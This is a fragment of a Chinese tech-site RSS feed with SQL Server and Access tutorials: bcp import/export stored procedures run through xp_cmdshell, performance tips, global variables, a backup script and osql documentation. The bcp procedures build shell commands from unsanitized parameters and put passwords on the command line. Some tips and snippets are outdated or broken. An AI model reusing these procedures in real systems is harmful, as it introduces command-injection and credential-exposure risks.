&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;comment ntext ’text()’) <br/>　　EXEC sp_xml_removedocument @idoc <br/><br/>　　/********************导整个数据库*********************************************/ <br/><br/>　　用bcp实现的存储过程 <br/><br/>　　/* <br/>　　 实现数据导入/导出的存储过程 <br/>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 根据不同的参数,可以实现导入/导出整个数据库/单个表 <br/>　　 调用示例: <br/>　　--导出调用示例 <br/>　　----导出单个表 <br/>　　exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:\zj.txt’,1 <br/>　　----导出整个数据库 <br/>　　exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:\docman’,1 <br/><br/>　　--导入调用示例 <br/>　　----导入单个表 <br/>　　exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:\zj.txt’,0 <br/>　　----导入整个数据库 <br/>　　exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:\docman’,0 <br/><br/>　　*/ <br/>　　if exists(sel&#101;ct 1 from sysobjects wh&#101;re name=’File2Table’ and objectproperty(id,’IsProcedure’)=1) <br/>　　 dro&#112; procedure File2Table <br/>　　go <br/>　　cr&#101;ate procedure File2Table <br/>　　@servername varchar(200)&nbsp;&nbsp;--服务器名 <br/>　　,@username varchar(200)&nbsp;&nbsp; --用户名,如果用NT验证方式,则为空’’ <br/>　　,@password varchar(200)&nbsp;&nbsp; --密码 <br/>　　,@tbname varchar(500)&nbsp;&nbsp; --数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表 <br/>　　,@filename varchar(1000)&nbsp;&nbsp;--导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个参数是文件存放路径,文件名自动用表名.txt <br/>　　,@isout bit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--1为导出,0为导入 <br/>　　as <br/>　　declare @sql varchar(8000) <br/><br/>　　if @tbname like ’%.%.%’ --如果指定了表名,则直接导出单个表 <br/>　　begin <br/>　　 set @sql=’bcp ’+@tbname <br/>　　&nbsp;&nbsp;+case when @isout=1 then ’ out ’ else ’ in ’ end <br/>　　&nbsp;&nbsp;+’ &#34;’+@filename+’&#34; /w’ <br/>　　&nbsp;&nbsp;+’ /S ’+@servername <br/>　　&nbsp;&nbsp;+case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end <br/>　　&nbsp;&nbsp;+’ /P ’+isnull(@password,’’) <br/>　　 exec master..xp_cmdshell @sql <br/>　　end <br/>　　else <br/>　　begin --导出整个数据库,定义游标,取出所有的用户表 <br/>　　 declare @m_tbname varchar(250) <br/>　　 if right(@filename,1)&lt;&gt;’\’ set @filename=@filename+’\’ <br/><br/>　　 set @m_tbname=’declare #tb cursor for sel&#101;ct name from ’+@tbname+’..sysobjects wh&#101;re xtype=’’U’’’ <br/>　　 exec(@m_tbname) <br/>　　 open #tb <br/>　　 fetch next from #tb into @m_tbname <br/>　　 while @@fetch_status=0 <br/>　　 begin <br/>　　&nbsp;&nbsp;set @sql=’bcp ’+@tbname+’..’+@m_tbname <br/>　　&nbsp;&nbsp; +case when @isout=1 then ’ out ’ else ’ in ’ end <br/>　　&nbsp;&nbsp; +’ &#34;’+@filename+@m_tbname+’.txt &#34; /w’ <br/>　　&nbsp;&nbsp; +’ /S ’+@servername <br/>　　&nbsp;&nbsp; +case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end <br/>　　&nbsp;&nbsp; +’ /P ’+isnull(@password,’’) <br/>　　&nbsp;&nbsp;exec master..xp_cmdshell @sql <br/>　　&nbsp;&nbsp;fetch next from #tb into @m_tbname <br/>　　 end <br/>　　 close #tb <br/>　　 deallocate #tb&nbsp;&nbsp;<br/>　　end <br/>　　go <br/>/**********************Excel导到Txt****************************************/ <br/>　　想用 <br/>　　sel&#101;ct * into opendatasource(...) from opendatasource(...) <br/>　　实现将一个Excel文件内容导入到一个文本文件 <br/><br/>　　假设Excel中有两列，第一列为姓名，第二列为很行帐号(16位) <br/>　　且银行帐号导出到文本文件后分两部分，前8位和后8位分开。 <br/><br/>　　如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2 <br/>　　然后就可以用下面的语句进行插入 <br/>　　注意文件名和目录根据你的实际情况进行修改. <br/><br/>　　ins&#101;rt into <br/>　　opendatasource(’MICROSOFT.JET.OLEDB.4.0’ <br/>　　,’Text;HDR=Yes;DATABASE=C:\’ <br/>　　)...[aa#txt] <br/>　　--,aa#txt) <br/>　　--*/ <br/>　　sel&#101;ct 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8) <br/>　　from <br/>　　opendatasource(’MICROSOFT.JET.OLEDB.4.0’ <br/>　　,’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls’ <br/>　　--,Sheet1$) <br/>　　)...[Sheet1$] <br/><br/>　　如果你想直接插入并生成文本文件,就要用bcp <br/><br/>　　declare @sql varchar(8000),@tbname varchar(50) <br/><br/>　　--首先将excel表内容导入到一个全局临时表 <br/>　　sel&#101;ct @tbname=’[##temp’+cast(newid() as varchar(40))+’]’ <br/>　　 ,@sql=’sel&#101;ct 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8) <br/>　　into ’+@tbname+’ from <br/>　　opendatasource(’’MICROSOFT.JET.OLEDB.4.0’’ <br/>　　,’’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\a.xls’’ <br/>　　)...[Sheet1$]’ <br/>　　exec(@sql) <br/><br/>　　--然后用bcp从全局临时表导出到文本文件 <br/>　　set @sql=’bcp &#34;’+@tbname+’&#34; out &#34;c:\aa.txt&#34; /S&#34;(local)&#34; /P&#34;&#34; /c’ <br/>　　exec master..xp_cmdshell @sql <br/><br/>　　--删除临时表 <br/>　　exec(’dro&#112; table ’+@tbname) <br/><br/>　　用bcp将文件导入导出到数据库的存储过程: <br/><br/>　　/*--bcp-二进制文件的导入导出 <br/><br/>　　 支持image,text,ntext字段的导入/导出 <br/>　　 image适合于二进制文件;text,ntext适合于文本数据文件 <br/><br/>　　 注意:导入时,将覆盖满足条件的所有行 <br/>　　&nbsp;&nbsp;导出时,将把所有满足条件的行也出到指定文件中 <br/><br/>　　 此存储过程仅用bcp实现 <br/>　　邹建 2003.08-----------------*/ <br/><br/>　　/*--调用示例 <br/>　　--数据导出 <br/>　　 exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:\zj1.dat’ <br/><br/>　　--数据导出 <br/>　　 exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:\zj1.dat’,’’,0 <br/>　　--*/ <br/>　　if exists (sel&#101;ct * from dbo.sysobjects wh&#101;re id = object_id(N’[dbo].[p_binaryIO]’) and OBJECTPROPERTY(id, N’IsProcedure’) = 1) <br/>　　dro&#112; procedure [dbo].[p_binaryIO] <br/>　　GO <br/><br/>　　Cr&#101;ate proc p_binaryIO <br/>　　@servename varchar (30),--服务器名称 <br/>　　@username varchar (30), --用户名 <br/>　　@password varchar (30), --密码 <br/>　　@tbname varchar (500),&nbsp;&nbsp;--数据库..表名 <br/>　　@fdname varchar (30),&nbsp;&nbsp;--字段名 <br/>　　@fname varchar (1000), --目录+文件名,处理过程中要使用/覆盖:@filename+.bak <br/>　　@tj varchar (1000)=’’,&nbsp;&nbsp;--处理条件.对于数据导入,如果条件中包含@fdname,请指定表名前缀 <br/>　　@isout bit=1&nbsp;&nbsp; --1导出((默认),0导入 <br/>　　AS <br/>　　declare @fname_in varchar(1000) --bcp处理应答文件名 <br/>　　 ,@fsize varchar(20)&nbsp;&nbsp; --要处理的文件的大小 <br/>　　 ,@m_tbname varchar(50)&nbsp;&nbsp;--临时表名 <br/>　　 ,@sql varchar(8000) <br/><br/>　　--则取得导入文件的大小 <br/>　　if @isout=1 <br/>　　 set @fsize=’0’ <br/>　　else <br/>　　begin <br/>　　 cr&#101;ate table #tb(可选名 varchar(20),大小 int <br/>　　&nbsp;&nbsp;,创建日期 varchar(10),创建时间 varchar(20) <br/>　　&nbsp;&nbsp;,上次写操作日期 varchar(10),上次写操作时间 varchar(20) <br/>　　&nbsp;&nbsp;,上次访问日期 varchar(10),上次访问时间 varchar(20),特性 int) <br/>　　 ins&#101;rt into #tb <br/>　　 exec master..xp_getfiledetails @fname <br/>　　 sel&#101;ct @fsize=大小 from #tb <br/>　　 dro&#112; table #tb <br/>　　 if @fsize is null <br/>　　 begin <br/>　　&nbsp;&nbsp;print ’文件未找到’ <br/>　　&nbsp;&nbsp;return <br/>　　 end <br/><br/>　　end <br/>　--生成数据处理应答文件 <br/>　　set @m_tbname=’[##temp’+cast(newid() as varchar(40))+’]’ <br/>　　set @sql=’sel&#101;ct * into ’+@m_tbname+’ from( <br/>　　 sel&#101;ct null as 类型 <br/>　　 union all sel&#101;ct 0 as 前缀 <br/>　　 union all sel&#101;ct ’+@fsize+’ as 长度 <br/>　　 union all sel&#101;ct null as 结束 <br/>　　 union all sel&#101;ct null as 格式 <br/>　　 ) a’ <br/>　　exec(@sql) <br/>　　sel&#101;ct @fname_in=@fname+’_temp’ <br/>　　 ,@sql=’bcp &#34;’+@m_tbname+’&#34; out &#34;’+@fname_in <br/>　　 +’&#34; /S&#34;’+@servename <br/>　　 +case when isnull(@username,’’)=’’ then ’’ <br/>　　&nbsp;&nbsp;else ’&#34; /U&#34;’+@username end <br/>　　 +’&#34; /P&#34;’+isnull(@password,’’)+’&#34; /c’ <br/>　　exec master..xp_cmdshell @sql <br/>　　--删除临时表 <br/>　　set @sql=’dro&#112; table ’+@m_tbname <br/>　　exec(@sql) <br/><br/>　　if @isout=1 <br/>　　begin <br/>　　 set @sql=’bcp &#34;sel&#101;ct top 1 ’+@fdname+’ from ’ <br/>　　&nbsp;&nbsp;+@tbname+case isnull(@tj,’’) when ’’ then ’’ <br/>　　&nbsp;&nbsp; else ’ wh&#101;re ’+@tj end <br/>　　&nbsp;&nbsp;+’&#34; queryout &#34;’+@fname <br/>　　&nbsp;&nbsp;+’&#34; /S&#34;’+@servename <br/>　　&nbsp;&nbsp;+case when isnull(@username,’’)=’’ then ’’ <br/>　　&nbsp;&nbsp; else ’&#34; /U&#34;’+@username end <br/>　　&nbsp;&nbsp;+’&#34; /P&#34;’+isnull(@password,’’) <br/>　　&nbsp;&nbsp;+’&#34; /i&#34;’+@fname_in+’&#34;’ <br/>　　 exec master..xp_cmdshell @sql <br/>　　end <br/>　　else <br/>　　begin <br/>　　 --为数据导入准备临时表 <br/>　　 set @sql=’sel&#101;ct top 0 ’+@fdname+’ into ’ <br/>　　&nbsp;&nbsp;+@m_tbname+’ from ’ +@tbname <br/>　　 exec(@sql) <br/><br/>　　 --将数据导入到临时表 <br/>　　 set @sql=’bcp &#34;’+@m_tbname+’&#34; in &#34;’+@fname <br/>　　&nbsp;&nbsp;+’&#34; /S&#34;’+@servename <br/>　　&nbsp;&nbsp;+case when isnull(@username,’’)=’’ then ’’ <br/>　　&nbsp;&nbsp; else ’&#34; /U&#34;’+@username end <br/>　　&nbsp;&nbsp;+’&#34; /P&#34;’+isnull(@password,’’) <br/>　　&nbsp;&nbsp;+’&#34; /i&#34;’+@fname_in+’&#34;’ <br/>　　 exec master..xp_cmdshell @sql <br/>　　&nbsp;&nbsp;<br/>　　 --将数据导入到正式表中 <br/>　　 set @sql=’up&#100;ate ’+@tbname <br/>　　&nbsp;&nbsp;+’ set ’+@fdname+’=b.’+@fdname <br/>　　&nbsp;&nbsp;+’ from ’+@tbname+’ a,’ <br/>　　&nbsp;&nbsp;+@m_tbname+’ b’ <br/>　　&nbsp;&nbsp;+case isnull(@tj,’’) when ’’ then ’’ <br/>　　&nbsp;&nbsp; else ’ wh&#101;re ’+@tj end <br/>　　 exec(@sql) <br/><br/>　　 --删除数据处理临时表 <br/>　　 set @sql=’dro&#112; table ’+@m_tbname <br/>　　end <br/><br/>　　--删除数据处理应答文件 <br/>　　set @sql=’del ’+@fname_in <br/>　　exec master..xp_cmdshell @sql <br/><br/>　　go <br/><br/>　　<br/>　　/** 导入文本文件 <br/>　　EXEC master..xp_cmdshell ’bcp &#34;dbname..tablename&#34; in c:\DT.txt -c -Sservername -Usa -Ppassword’ <br/><br/>　　改为如下，不需引号 <br/>　　EXEC master..xp_cmdshell ’bcp dbname..tablename in c:\DT.txt -c -Sservername -Usa -Ppassword’ <br/><br/>　　/** 导出文本文件 <br/>　　EXEC master..xp_cmdshell ’bcp &#34;dbname..tablename&#34; out c:\DT.txt -c -Sservername -Usa -Ppassword’ <br/>　　此句需加引号<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2166.htm</link>
			<title><![CDATA[Access中的“自动编号”怎么才能不从1开始 或从1开始]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,06 Aug 2008 12:40:15 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2166</guid>
		<description><![CDATA[操作前请先确保以前的数据都不要了，或备份好。<br/><br/>1、在access里新建一个查询。<br/><br/><br/>2、把视图改为sql视图。<br/><br/><br/>3、在里面输入<br/><br/><br/>&nbsp;&nbsp; Alt&#101;r TABLE 表名 Alt&#101;r COLUMN [自动编号字段名] COUNTER (你要的初始值, 1)<br/>&nbsp;&nbsp; 例如：<br/>&nbsp;&nbsp; Alt&#101;r TABLE [user] Alt&#101;r COLUMN [id] COUNTER (1001, 1)<br/><br/><br/>4、运行后，编号就从1001开始了<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1994.htm</link>
			<title><![CDATA[提高SQL Server数据库效率常用方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,17 Jun 2008 23:34:07 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1994</guid>
		<description><![CDATA[在现在互联网应用程序开发过程中，常常会发现查询或者操作数据速度慢。其原因很多，常见如下几种： <br/>1、没有索引或者没有用到索引(这是数据库设计的缺陷) <br/>2、I/O吞吐量小，形成了瓶颈效应。 <br/>3、内存不足 <br/>4、网络速度慢 <br/>5、查询出的数据量过大（可以采用多次查询） <br/>6、锁或者死锁(这也是程序设计的缺陷) <br/>7、返回了不必要的行和列 <br/>8、查询语句不好，没有优化 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;数据库要高效运行，首先要保证数据库设计的正确性，非特殊需要不要违反三大范式原则；然后再来考虑数据库性能及效率的优化工作。日常工作中，我们经常用到的一些优化方法如下： <br/>1、把数据、日志、索引放到不同的I/O设备上，增加读取速度。数据量（尺寸）越大，提高I/O越重要。 <br/>2、升级硬件。 <br/>3、根据查询条件，建立索引，优化索引、优化访问方式，限制结果集的数据量。索引应该尽量小，使用字节数小的列建索引好，不要对有<br/><br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; 限的几个值的字段建单一索引。 <br/>4、查询耗时和字段值总长度成正比，所以数据库设计的时候可变长字段不能用CHAR类型，而是VARCHAR。有相当一部份开发人员喜欢可变长字符串也用CHAR，然后补空格。 <br/>5、重建索引DBCC REINDEX，DBCC INDEXDEFRAG，收缩数据和日志 DBCC SHRINKDB，DBCC SHRINKFILE。设置自动收缩日志。对于大的数据库不要设置数据库自动增长，它会降低服务器的性能。 <br/>6、在查询Sel&#101;ct语句中用Wh&#101;re字句限制返回的行数，避免表扫描。如果返回不必要的数据，浪费了服务器的I/O资源，加重了网络的负担降低性能。如果表很大，在表扫描的期间将表锁住，禁止其他的联接访问表，后果严重。 <br/>7、尽可能不使用光标，它占用大量的资源。如果需要row-by-row地执行，尽量采用非光标技术，如：在客户端循环，用临时表，Table变量，用子查询，用Case语句等等。 <br/>8、用Profiler来跟踪查询，得到查询所需的时间，找出SQL的问题所在；用索引优化器优化索引。 <br/>9、注意UNion和UNion all 的区别。尽量使用UNION all。 <br/>10、注意使用DISTINCT，在没有必要时不要用，它同UNION一样会使查询变慢。<br/>11、查询时不要返回不需要的行、列 <br/>12、用sel&#101;ct top 100 / 10 Percent 来限制用户返回的行数或者SET ROWCOUNT来限制操作的行。 <br/>13、使用查询分析器，查看SQL语句的查询计划和评估分析是否是优化的SQL。一般的20%的代码占据了80%的资源，我们优化的重点是这些慢的地方。 <br/>14、如果使用了IN或者OR等时发现查询没有走索引，使用显示申明指定索引： Sel&#101;ct * FROM tablename (INDEX = IX_Title) Wh&#101;re sex IN (&#39;男&#39;，&#39;女&#39;)<br/>15、数据库有一个原则是代码离数据越近越好，所以优先选择Default，依次为规则、触发器、约束Constraint（约束如外健主健CheckUNIQUE……，数据类型的最大长度等等都是约束）、存储过程。这样不仅维护工作小，编写程序质量高，并且执行的速度快。 <br/>16、如果要插入大的二进制值到Image列，使用存储过程，千万不要用内嵌Ins&#101;rt来插入。因为应用程序首先将二进制值转换成字符串（尺寸是它的两倍），服务器受到字符后又将他转换成二进制值。存储过<br/><br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp; 程就没有这些动作。方法：Cr&#101;ate procedure p_ins&#101;rt as ins&#101;rt into table(Fimage) values (@image)， 在前台调用这个存储过程传入二进制参数，这样处理速度明显改善。 <br/>17、Between在某些时候比IN 速度更快，Between能够更快地根据索引找到范围。用查询优化器可见到差别。 sel&#101;ct * from chineseresume wh&#101;re title in (&#39;男&#39;，&#39;女&#39;)和Sel&#101;ct * from chineseresume wh&#101;re between &#39;男&#39; and &#39;女&#39; 是一样的功能。由于in会在比较多次，所以有时会慢些。 <br/>18、不要在程序中使用没有作用的事务处理。 <br/>19、用OR的字句可以分解成多个查询，并且通过UNION 连接多个查询。他们的速度只同是否使用索引有关，如果查询需要用到联合索引，用UNION all执行的效率更高。多个OR的字句没有用到索引，改写成UNION的形式再试图与索引匹配。一个关键的问题是否用到索引。 <br/>20、尽量少用视图，它的效率低。对视图操作比直接对表操作慢，可以用stored procedure来代替它。特别的是不要用视图嵌套，嵌套视图增加了寻找原始资料的难度。 <br/>21、没有必要时不要用DISTINCT和ORDER BY，这些动作可以改在客户<br/>端执行。它们增加了额外的开销。这同UNION 和UNION ALL一样的道理。 <br/>22、在IN后面值的列表中，将出现最频繁的值放在最前面，出现得最少的放在最后面，减少判断的次数。 <br/>23、一次更新多条记录比分多次更新每次一条快，就是说批处理好。 <br/>24、尽量将数据的处理工作放在服务器上，减少网络的开销，如使用存储过程。存储过程是编译好、优化过、并且被组织到一个执行规划里、且存储在数据库中的SQL语句，是控制流语言的集合，速度当然快。<br/>25、通过SQL Server Performance Monitor监视相应硬件的负载 Memory: Page Faults / sec计数器如果该值偶尔走高，表明当时有线程竞争内存。如果持续很高，则内存可能是瓶颈。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1992.htm</link>
			<title><![CDATA[很有用的SQLServer全局变量]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,17 Jun 2008 23:33:12 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1992</guid>
		<description><![CDATA[Sel&#101;ct APP_NAME() AS APPName --当前会话的应用程序名称。<br/>Sel&#101;ct @@ERROR --返回最后执行的 Transact-SQL 语句的错误代码(integer)。<br/>Sel&#101;ct @@IDENTITY --返回最后插入的标识值。<br/>Sel&#101;ct USER_NAME() --返回用户数据库用户名。<br/>Sel&#101;ct @@CONNECTIONS --返回自上次SQL启动以来连接或试图连接的次数。<br/>Sel&#101;ct GETDATE() --当前时间。<br/>Sel&#101;ct @@CPU_BUSY/100 --返回自上次启动SQL 以来 CPU 的工作时间(单位为毫秒)。<br/>USE tempdb Sel&#101;ct @@DBTS AS Timestamp --为当前数据库返回当前 timestamp 数据类型的值。这一 timestamp 值保证在数据库中是唯一的。<br/>Sel&#101;ct @@IDLE AS Temp --返回SQL自上次启动后闲置的时间(单位为毫秒)。<br/>Sel&#101;ct @@IO_BUSY AS W --返回SQL自上次启动后用于执行输入和输出操作的时间(单位为毫秒)。<br/>Sel&#101;ct @@LANGID AS W --返回当前所使用语言的本地语言标识符(ID)。<br/>Sel&#101;ct @@LANGUAGE AS W --返回当前使用的语言名。<br/>Sel&#101;ct @@LOCK_TIMEOUT AS W --当前会话的当前锁超时设置(单位为毫秒)。<br/>Sel&#101;ct @@MAX_CONNECTIONS AS W --返回SQL上允许的同时用户连接的最大数。返回的数不必为当前配置的数值。<br/>EXEC sp_configure --显示当前服务器的全局配置设置。<br/>Sel&#101;ct @@MAX_PRECISION AS W --返回 decimal 和 numeric 数据类型所用的精度级别，即该服务器中当前设置的精度。默认最大精度38。<br/>Sel&#101;ct @@OPTIONS AS W --返回当前 SET 选项的信息。<br/>Sel&#101;ct @@PACK_RECEIVED AS W --返回SQL自启动后从网络上读取的输入数据包数目。<br/>Sel&#101;ct @@PACK_SENT AS W --返回SQ自上次启动后写到网络上的输出数据包数目。<br/>Sel&#101;ct @@PACKET_ERRORS AS W --返回自SQL启动后，在SQL连接上发生的网络数据包错误数。<br/>Sel&#101;ct @@SERVERNAME AS W --返回运行SQL服务器名称。<br/>Sel&#101;ct @@SERVICENAME AS W --返回SQL正在其下运行的注册表键名。<br/>Sel&#101;ct @@TIMETICKS AS W --返回SQL服务器一刻度的微秒数。<br/>Sel&#101;ct @@TOTAL_ERRORS AS W --返回 SQL服务器自启动后，所遇到的磁盘读/写错误数。<br/>Sel&#101;ct @@TOTAL_READ AS W --返回 SQL服务器自启动后读取磁盘的次数。<br/>Sel&#101;ct @@TOTAL_WRITE AS W --返回SQL服务器自启动后写入磁盘的次数。<br/>Sel&#101;ct @@TRANCOUNT AS W --返回当前连接的活动事务数。<br/>Sel&#101;ct @@VERSION AS W --返回SQL服务器安装的日期、版本和处理器类型。 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1991.htm</link>
			<title><![CDATA[sqlserver作业，数据库备份语句]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,17 Jun 2008 23:32:45 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1991</guid>
		<description><![CDATA[declare @filename nvarchar(100) <br/>set @filename=&#39;d:\\dbbak\\test+convert(char(10),getdate(),112) <br/>print @filename <br/>BACKUP DATABASE [test] TO DISK = @filename WITH NOINIT , NOUNLOAD , NAME = N&#39;test 备份&#39;, NOSKIP , STATS = 10, NOFORMAT]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/1903.htm</link>
			<title><![CDATA[osql 实用工具]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sun,01 Jun 2008 11:41:57 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=1903</guid>
		<description><![CDATA[osql 实用工具使您得以输入 Transact-SQL 语句、系统过程和脚本文件。该实用工具通过 ODBC 与服务器通讯。<br/><br/>语法<br/>osql<br/>&nbsp;&nbsp;&nbsp;&nbsp;[-?] |<br/>&nbsp;&nbsp;&nbsp;&nbsp; [-L] |<br/>&nbsp;&nbsp;&nbsp;&nbsp; [<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {-U login_id [-P password]}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | -E<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[-S server_name[\instance_name]] [-H wksta_name] [-d db_name]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-l time_out] [-t time_out] [-h headers]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-s col_separator] [-w column_width] [-a packet_size]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-e] [-I] [-D data_source_name]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-c cmd_end] [-q &#34;query&#34;] [-Q &#34;query&#34;]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-n] [-m error_level] [-r {0 | 1}]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-i input_file] [-o output_file] [-p]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-b] [-u] [-R] [-O]<br/>&nbsp;&nbsp;&nbsp;&nbsp; ]<br/><br/>参数 <br/>注释<br/>osql 实用工具从操作系统直接启动，并且使用本文中列出的区分大小写的选项。启动后，osql 接受 SQL 语句并将它们交互地发送到 SQL Server。结果被格式化并显示在屏幕上 (stdout)。可使用 QUIT 或 EXIT 退出 osql。<br/><br/>如果启动 osql 时未指定用户名，SQL Server 2000 将检查环境变量并使用它们，例如 osqluser=(user) 或 osqlserver=(server)。如果未设置环境变量，则使用工作站用户名。如果未指定服务器，则使用工作站名称。<br/><br/>如果 -U 或 -P 选项都没有使用，则 SQL Server 2000 将尝试使用 Windows 身份验证模式进行连接。身份验证基于运行 osql 的 Microsoft Windows NT® 用户帐户。<br/><br/>osql 实用工具使用 ODBC API。该实用工具使用 SQL Server 2000 SQL-92 连接选项的 SQL Server ODBC 驱动程序默认设置。有关更多信息，请参见 SQL-92 选项的效果。<br/><br/>有关此实用工具位置和运行方式的信息，请参见命令提示实用工具入门。<br/><br/>OSQL 命令<br/>除了 osql 中使用的 Transact-SQL 语句外，下表中的命令也可用。<br/><br/>命令 描述 <br/>GO 执行最后一个 GO 命令之后输入的所有语句。 <br/>RESET 清除已输入的所有语句。 <br/>ED 调用编辑器。 <br/>!! command 执行操作系统命令。 <br/>QUIT 或 EXIT( ) 退出 osql。 <br/>CTRL+C 键 不退出 osql 而结束查询。 <br/><br/><br/>仅当命令终止符 GO（默认）、RESET、ED、!!、EXIT、QUIT 和 CTRL+C 出现在一行的开始（紧跟 osql 提示符）时才可以识别。osql 忽视同一行中这些关键字后输入的任何内容。<br/><br/>GO 表明一批的结束和任何已被高速缓存的 Transact-SQL 语句的执行。在每个输入行的结尾按 ENTER 键时，osql 将高速缓存此行的语句。键入 GO 后按 ENTER 键时，所有当前已缓存的语句都将作为批处理发送到 SQL Server。<br/><br/>当前的 osql 实用工具工作起来就好像在任何被执行的脚本结尾处都带有隐含的 GO，因而脚本中的所有语句都将执行。最后一个 GO 后的任何语句都不执行。<br/><br/>通过键入以命令终止符作为开始的行来结束命令。可以在命令终止符后输入一个整数来指定命令运行的次数。例如，若要执行此命令 100次，请键入：<br/><br/>Sel&#101;ct x = 1<br/>GO 100<br/><br/>执行结束时打印一次结果。osql 不接受每行字符数超过 1,000 的结果。长语句应当跨多个行书写。<br/><br/>通过在行首键入 ED，用户可以在当前查询缓冲区上调用编辑器。编辑器在 EDITOR 环境变量中定义。默认编辑器为&#34;edit&#34;。可以通过设置 EDITOR 环境变量来指定其它编辑器。例如，若要将默认编辑器指定为 Notepad，请在操作系统提示符处输入：<br/><br/>SET EDITOR=notepad<br/><br/>操作系统命令<br/>通过用两个惊叹号 (!!) 开始一行，然后输入命令的方式，也可以执行操作系统命令。Windows NT 的命令撤回功能可用来撤回和修改 osql 语句。键入 RESET 可以清除现有的查询缓冲区。<br/><br/>在运行存储过程时，osql 在批处理中的每个结果集之间打印一个空行。此外,如果没有应用于已执行的语句，则&#34;0 行受到影响&#34;消息不会出现。<br/><br/>交互性使用 osql<br/>若要交互性使用 osql，请在命令提示符处键入 osql 命令（以及任何选项）。<br/><br/>可以通过键入类似下行的命令，在包含由 osql 执行的查询的文件（例如 Stores.qry）中进行读取：<br/><br/>osql /U alma /P /i stores.qry<br/><br/>该文件必须包含命令终止符。<br/><br/>可以通过键入类似下行的命令，在包含查询的文件（例如 Titles.qry）中进行读取并将结果导向另一文件：<br/><br/>osql /U alma /P /i titles.qry /o titles.res<br/><br/>交互性使用 osql 时，为把操作系统文件读入到命令缓冲区，可使用：r file_name。不要在文件中包含命令终止符；在完成编辑后交互输入终止符。<br/><br/>插入注释<br/>在 osql 提交给 SQL Server 的 Transact-SQL 语句中可以包含注释。允许使用两种注释风格类型：-- 和 /*...*/。<br/><br/>有关更多信息，请参见使用注释。<br/><br/>使用 EXIT 返回 osql 结果<br/>可以使用 Sel&#101;ct 语句的结果作为 osql 的返回值。第一个结果行的第一列转换为 4 字节的整数（长整型）。MS-DOS 将低字节传递给父进程或操作系统错误级别。Windows NT 则传递整个 4 字节整数。语法为：<br/><br/>EXIT(query)<br/><br/>例如：<br/><br/>EXIT(Sel&#101;ct @@ROWCOUNT)<br/><br/>EXIT(Sel&#101;ct 5)<br/><br/>也可以包含 EXIT 参数，使其作为批处理文件的一部分。例如：<br/><br/>osql /Q &#34;EXIT(Sel&#101;ct COUNT(*) FROM &#39;%1&#39;)&#34;<br/><br/>osql 实用工具将圆括号 ( ) 中输入的所有内容原样传递给服务器。如果存储系统过程选择了一个集合并返回一个值，则仅返回选择的内容。在圆括号之间无参数的 EXIT( ) 语句执行批处理中此语句前的所有内容，然后退出，而不返回值。<br/><br/>EXIT 格式有四种：<br/><br/>EXIT 